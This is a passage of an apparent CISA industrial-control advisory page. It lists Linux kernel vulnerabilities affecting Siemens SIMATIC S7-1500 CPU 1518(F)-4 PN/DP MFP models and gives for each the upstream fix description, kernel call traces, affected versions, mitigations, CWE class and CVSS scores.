<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57917</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: topology: Keep the cpumask unchanged when printing cpumap During fuzz testing, the following warning was discovered: different return values (15 and 11) from vsnprintf("%*pbl ", ...) test:keyward is WARNING in kvasprintf WARNING: CPU: 55 PID: 1168477 at lib/kasprintf.c:30 kvasprintf+0x121/0x130 Call Trace: kvasprintf+0x121/0x130 kasprintf+0xa6/0xe0 bitmap_print_to_buf+0x89/0x100 core_siblings_list_read+0x7e/0xb0 kernfs_file_read_iter+0x15b/0x270 new_sync_read+0x153/0x260 vfs_read+0x215/0x290 ksys_read+0xb9/0x160 do_syscall_64+0x56/0x100 entry_SYSCALL_64_after_hwframe+0x78/0xe2 The call trace shows that kvasprintf() reported this warning during the printing of core_siblings_list. kvasprintf() has several steps: (1) First, calculate the length of the resulting formatted string. (2) Allocate a buffer based on the returned length. (3) Then, perform the actual string formatting. (4) Check whether the lengths of the formatted strings returned in steps (1) and (2) are consistent. If the core_cpumask is modified between steps (1) and (3), the lengths obtained in these two steps may not match. Indeed our test includes cpu hotplugging, which should modify core_cpumask while printing. To fix this issue, cache the cpumask into a temporary variable before calling cpumap_print_{list, cpumask}_to_buf(), to keep it unchanged during the printing process.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57917">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57924</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: relax assertions on failure to encode file handles Encoding file handles is usually performed by a filesystem &gt;encode_fh() method that may fail for various reasons. The legacy users of exportfs_encode_fh(), namely, nfsd and name_to_handle_at(2) syscall are ready to cope with the possibility of failure to encode a file handle. There are a few other users of exportfs_encode_{fh,fid}() that currently have a WARN_ON() assertion when -&gt;encode_fh() fails. Relax those assertions because they are wrong. The second linked bug report states commit 16aac5ad1fa9 ("ovl: support encoding non-decodable file handles") in v6.6 as the regressing commit, but this is not accurate. The aforementioned commit only increases the chances of the assertion and allows triggering the assertion with the reproducer using overlayfs, inotify and drop_caches. Triggering this assertion was always possible with other filesystems and other reasons of -&gt;encode_fh() failures and more particularly, it was also possible with the exact same reproducer using overlayfs that is mounted with options index=on,nfs_export=on also on kernels &lt; v6.6. Therefore, I am not listing the aforementioned commit as a Fixes commit. Backport hint: this patch will have a trivial conflict applying to v6.6.y, and other trivial conflicts applying to stable kernels &lt; v6.6.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57924">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/617.html">CWE-617 Reachable Assertion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57973</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: rdma/cxgb4: Prevent potential integer overflow on 32bit The "gl-&gt;tot_len" variable is controlled by the user. It comes from process_responses(). On 32bit systems, the "gl-&gt;tot_len + sizeof(struct cpl_pass_accept_req) + sizeof(struct rss_header)" addition could have an integer wrapping bug. Use size_add() to prevent this.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57973">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57977</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: memcg: fix soft lockup in the OOM process A soft lockup issue was found in the product with about 56,000 tasks were in the OOM cgroup, it was traversing them when the soft lockup was triggered. watchdog: BUG: soft lockup - CPU#2 stuck for 23s! [VM Thread:1503066] CPU: 2 PID: 1503066 Comm: VM Thread Kdump: loaded Tainted: G Hardware name: Huawei Cloud OpenStack Nova, BIOS RIP: 0010:console_unlock+0x343/0x540 RSP: 0000:ffffb751447db9a0 EFLAGS: 00000247 ORIG_RAX: ffffffffffffff13 RAX: 0000000000000001 RBX: 0000000000000000 RCX: 00000000ffffffff RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000247 RBP: ffffffffafc71f90 R08: 0000000000000000 R09: 0000000000000040 R10: 0000000000000080 R11: 0000000000000000 R12: ffffffffafc74bd0 R13: ffffffffaf60a220 R14: 0000000000000247 R15: 0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f2fe6ad91f0 CR3: 00000004b2076003 CR4: 0000000000360ee0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: vprintk_emit+0x193/0x280 printk+0x52/0x6e dump_task+0x114/0x130 mem_cgroup_scan_tasks+0x76/0x100 dump_header+0x1fe/0x210 oom_kill_process+0xd1/0x100 out_of_memory+0x125/0x570 mem_cgroup_out_of_memory+0xb5/0xd0 try_charge+0x720/0x770 mem_cgroup_try_charge+0x86/0x180 mem_cgroup_try_charge_delay+0x1c/0x40 do_anonymous_page+0xb5/0x390 handle_mm_fault+0xc4/0x1f0 This is because thousands of processes are in the OOM cgroup, it takes a long time to traverse all of them. As a result, this lead to soft lockup in the OOM process. To fix this issue, call 'cond_resched' in the 'mem_cgroup_scan_tasks' function per 1000 iterations. For global OOM, call 'touch_softlockup_watchdog' per 1000 iterations to avoid this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57977">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/667.html">CWE-667 Improper Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57979</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pps: Fix a use-after-free On a board running ntpd and gpsd, I'm seeing a consistent use-after-free in sys_exit() from gpsd when rebooting: pps pps1: removed ------------[ cut here ]------------ kobject: '(null)' (00000000db4bec24): is not initialized, yet kobject_put() is being called. WARNING: CPU: 2 PID: 440 at lib/kobject.c:734 kobject_put+0x120/0x150 CPU: 2 UID: 299 PID: 440 Comm: gpsd Not tainted 6.11.0-rc6-00308-gb31c44928842 #1 Hardware name: Raspberry Pi 4 Model B Rev 1.1 (DT) pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : kobject_put+0x120/0x150 lr : kobject_put+0x120/0x150 sp : ffffffc0803d3ae0 x29: ffffffc0803d3ae0 x28: ffffff8042dc9738 x27: 0000000000000001 x26: 0000000000000000 x25: ffffff8042dc9040 x24: ffffff8042dc9440 x23: ffffff80402a4620 x22: ffffff8042ef4bd0 x21: ffffff80405cb600 x20: 000000000008001b x19: ffffff8040b3b6e0 x18: 0000000000000000 x17: 0000000000000000 x16: 0000000000000000 x15: 696e6920746f6e20 x14: 7369203a29343263 x13: 205d303434542020 x12: 0000000000000000 x11: 0000000000000000 x10: 0000000000000000 x9 : 0000000000000000 x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000000 Call trace: kobject_put+0x120/0x150 cdev_put+0x20/0x3c __fput+0x2c4/0x2d8 ____fput+0x1c/0x38 task_work_run+0x70/0xfc do_exit+0x2a0/0x924 do_group_exit+0x34/0x90 get_signal+0x7fc/0x8c0 do_signal+0x128/0x13b4 do_notify_resume+0xdc/0x160 el0_svc+0xd4/0xf8 el0t_64_sync_handler+0x140/0x14c el0t_64_sync+0x190/0x194 ---[ end trace 0000000000000000 ]--- ...followed by more symptoms of corruption, with similar stacks: refcount_t: underflow; use-after-free. kernel BUG at lib/list_debug.c:62! Kernel panic - not syncing: Oops - BUG: Fatal exception This happens because pps_device_destruct() frees the pps_device with the embedded cdev immediately after calling cdev_del(), but, as the comment above cdev_del() notes, fops for previously opened cdevs are still callable even after cdev_del() returns. I think this bug has always been there: I can't explain why it suddenly started happening every time I reboot this particular board. In commit d953e0e837e6 ("pps: Fix a use-after free bug when unregistering a source."), George Spelvin suggested removing the embedded cdev. That seems like the simplest way to fix this, so I've implemented his suggestion, using __register_chrdev() with pps_idr becoming the source of truth for which minor corresponds to which device. But now that pps_idr defines userspace visibility instead of cdev_add(), we need to be sure the pps-&gt;dev refcount can't reach zero while userspace can still find it again. So, the idr_remove() call moves to pps_unregister_cdev(), and pps_idr now holds a reference to pps-&gt;dev. pps_core: source serial1 got cdev (251:1) &lt;...&gt; pps pps1: removed pps_core: unregistering pps1 pps_core: deallocating pps1</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57979">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58011</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: platform/x86: int3472: Check for adev == NULL Not all devices have an ACPI companion fwnode, so adev might be NULL. This can e.g. (theoretically) happen when a user manually binds one of the int3472 drivers to another i2c/platform device through sysfs. Add a check for adev not being set and return -ENODEV in that case to avoid a possible NULL pointer deref in skl_int3472_get_acpi_buffer().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58011">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58016</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: safesetid: check size of policy writes syzbot attempts to write a buffer with a large size to a sysfs entry with writes handled by handle_policy_update(), triggering a warning in kmalloc. Check the size specified for write buffers before allocating. [PM: subject tweak]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58016">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58020</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: HID: multitouch: Add NULL check in mt_input_configured devm_kasprintf() can return a NULL pointer on failure,but this returned value in mt_input_configured() is not checked. Add NULL check in mt_input_configured(), to handle kernel NULL pointer dereference error.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58020">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58056</a></h3>
<div class="csaf-accordion-content">
